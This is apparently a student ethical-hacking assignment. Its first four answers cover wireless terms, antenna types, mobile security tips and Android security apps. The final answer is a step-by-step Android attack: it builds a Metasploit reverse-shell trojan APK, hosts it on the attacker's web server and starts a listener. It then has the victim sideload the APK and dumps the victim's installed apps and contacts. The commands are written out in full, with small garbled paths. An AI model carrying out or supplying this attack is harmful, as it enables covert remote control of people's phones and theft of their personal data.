EH ASSIGNMENT 7

Q.1 Wireless Terminologies

ANS.

1. Wi-Fi - A wireless networking technology that uses radio waves to provide high-speed internet and network connections.
2. Bluetooth - A wireless technology standard that allows devices to communicate with each other over short distances.
3. NFC - Near Field Communication is a short-range wireless technology that enables communication between devices, typically used for contactless payments.
4. LTE - Long-Term Evolution is a standard for wireless broadband communication that provides high-speed data for mobile phones and other devices.
5. 5G - Fifth Generation wireless technology is the latest standard for mobile networks that promises faster download speeds, lower latency, and greater connectivity.
6. RFID - Radio Frequency Identification is a wireless technology that uses radio waves to track and identify objects, such as inventory in a warehouse.
7. Zigbee - A wireless technology standard for low-power, low-bandwidth devices such as sensors and smart home devices.

8. MIMO - Multiple Input Multiple Output is a wireless technology that uses multiple antennas to increase data transfer speeds and improve signal strength.
9. SSID - Service Set Identifier is a unique identifier assigned to a wireless network to distinguish it from other networks.
10. WPA/WPA2 - Wi-Fi Protected Access/WPA2 is a security protocol for wireless networks that encrypts data to protect it from unauthorized access.

Q.2 Types of Wireless Antenna

ANS.

1. Dipole Antenna - A simple, omnidirectional antenna that consists of two metal rods of equal length and is commonly used in Wi-Fi routers.
2. Yagi Antenna - A directional antenna that is made up of a series of metal elements, and is commonly used for point-to-point communication.
3. Parabolic Antenna - A highly directional antenna that uses a parabolic reflector to focus the radio waves, commonly used for long-distance communication.
4. Patch Antenna - A directional antenna that is flat and rectangular, and is commonly used in wireless access points, Wi-Fi routers, and Bluetooth devices.
5. Helical Antenna - A directional antenna that consists of a wire or rod wound in a spiral shape, and is commonly used for satellite communication.

6. Log-Periodic Antenna - A directional antenna that consists of a series of dipole elements of varying lengths, and is commonly used for high-frequency communication.
7. Microstrip Antenna - A small, flat antenna that is commonly used in mobile phones and other portable devices
8. Omni-Directional Antenna - A type of antenna that sends and receives signals in all directions, and is commonly used in wireless access points and Wi-Fi routers.
9. Phased Array Antenna - A directional antenna that consists of multiple elements that can be controlled to focus the signal in a specific direction, commonly used in radar and satellite communication.
10. Fractal Antenna - An antenna that uses a repeating pattern to create a complex shape that can resonate at multiple frequencies, commonly used in wireless communication.

Q.3 How to secure your mobile phone

ANS.

1. Use a passcode or biometric authentication - Set a strong passcode or use biometric authentication like fingerprint or face recognition to lock your phone. Avoid using easily guessable passwords like 1234 or your birthdate.
2. Keep your phone software up to date - Install software updates regularly as they often include security patches and fixes to vulnerabilities that could be exploited by hackers.

3. Use a Virtual Private Network (VPN) - Use a VPN when accessing public Wi-Fi networks to encrypt your internet traffic and protect your data from being intercepted by hackers.
4. Install anti-virus software - Install anti-virus software on your mobile phone to protect against malware and other malicious software.
5. Be cautious when downloading apps - Only download apps from trusted sources like the Google Play Store or Apple App Store. Avoid downloading apps from unknown sources as they may contain malware.
6. Turn off Bluetooth and Wi-Fi when not in use - Turning off Bluetooth and Wi-Fi when not in use can help prevent unauthorized access to your phone.
7. Be careful with sensitive information - Avoid storing sensitive information like passwords or financial information on your phone. If you must, use a password manager app to encrypt and secure the information.
8. Use two-factor authentication - Enable two-factor authentication for your accounts to add an extra layer of security.
9. Back up your data - Regularly back up your data to a secure location like the cloud or an external hard drive in case your phone is lost, stolen, or damaged.
10. Consider using a mobile security app - Consider using a mobile security app that provides extra protection against malware, phishing attacks, and other security threats.

Q.4 List of Android Phones Security Tools

ANS. Here are some Android phone security tools that you can use to protect your device:

1. Google Play Protect - A built-in security feature on Android devices that scans for malicious apps and provides real-time protection against security threats.
2. Malwarebytes Security - A mobile security app that scans for malware and other security threats in real-time and provides protection against phishing attacks and other malicious activity.
3. Norton Mobile Security - A mobile security app that provides protection against malware, viruses, and other security threats, and includes features like anti-theft, web protection, and Wi-Fi security.
4. Kaspersky Mobile Antivirus - A mobile security app that provides protection against malware, viruses, and other security threats, and includes features like anti-phishing, app lock, and anti-theft.
5. Avast Mobile Security - A mobile security app that provides protection against malware, viruses, and other security threats, and includes features like anti-theft, web protection, and Wi-Fi security.
6. McAfee Mobile Security - A mobile security app that provides protection against malware, viruses, and other security threats, and includes features like anti-theft, app lock, and Wi-Fi security.
7. Lookout Security & Antivirus - A mobile security app that provides protection against malware, viruses, and other

security threats, and includes features like anti-theft, safe browsing, and Wi-Fi security.

8. Sophos Intercept X for Mobile - A mobile security app that provides protection against malware, viruses, and other security threats, and includes features like app control, web filtering, and Wi-Fi security.
9. AppLock - A security app that allows you to lock specific apps on your Android device with a password or pattern, providing an extra layer of security.
10. LastPass Password Manager - A password manager app that securely stores your passwords and login information, and allows you to generate strong passwords for new accounts.

Q.5 Perform practical Android phone hacking.

ANS.

1. Type “ifconfig” into the terminal session in order to view the network interface configuration of the device we are using to execute the attack.

   ```
   Ifconfig
   ```

2. Listing all the accessible choices with msfvenom. (This will list down all the boundaries that will assist us with producing our payload).

   ```
   msfvenom -h
   ```

3. So now we have to create a payload which we may execute on the victim's device in order to execute the attack successfully.

```
. msfvenom -p android/meterpreter/reverse_tcp
LHOST=

192.168.18.63 LPORT=4444 R>
/var/www/andriodhack.apk/
```

(write in single line)

4. -p shows the payload type
5. android/meterpreter/reverse_tcp indicates a reverse meterpreter shell would roll in from an objective Android gadget.
6. LHOST is our IP i.e attacker's IP
7. LPORT is the listening port on the attacker's machine.
8. R> /var/www/html generates the output directly on apache server
9. '.apk' is the file extension of the Trojan created.

- SETTING UP THE ATTACK

10. Firstly, we need to check the status of the Apache server (Web Application Server) and to do so enter the following commands in the terminal

```
. service apache2 start

. service apache2 status
```

11. Now, all seems to be set up correctly, and we can start the msfconsole.

```
. msfconsole
```

12. Use multi/handler exploit, set payload the same as generated previously(This will help us to generate a listener).

. use multi/handler

. set PAYLOAD android/meterpreter/reverse_tcp

13. Now, we will use the 'show options' command in order to see the configuration, set the LHOST(Local Host) and LPORT(Local Port) values the same as used in the payload (Type the following commands for the same).

. show options

14. Here, the LPORT is already set, so we just need to set the LHOST to our attacking machine's IP, and we can do this by the following command:

. set LHOST 192.168.18.63

15. Now, we can type 'exploit' in order to launch the desired attack.

exploit

- EXECUTING ATTACK

1. Type the following web address in a web browser on the victim's phone.

(<IP address of the attacker's machine>/<name of the trojan created earlier>.apk)

Example in this case:

192.168.18.63/androidhack.apk

2. After downloading the payload successfully, we have to select the app to install.
3. Enable the settings to introduce applications from outside sources. Lastly hit the install choice at the base.

➔ POST EXPLOITATION

1. Type “background” and then “sessions” to list down all the sessions from where you can see all the IPs connected to the machine.
2. You can interact with any session by typing the following command:

   ```
   . sessions -i [session ID]
   ```

3. Type the following command in order to see all the apps which are installed on the particular Android OS.

   ```
   . app_list
   ```

4. We can also uninstall any app from the Android device.
5. Now let us extract some contacts from the target device by typing “dump” and double tab. It will show all the choices to extricate from the device. Type “dump_contacts” and enter. It will separate all the contacts from the Android gadget and will spare it in our local directory. To see this document type “ls” and “cat [file_name]”

   ```
   . dump_contacts
   ```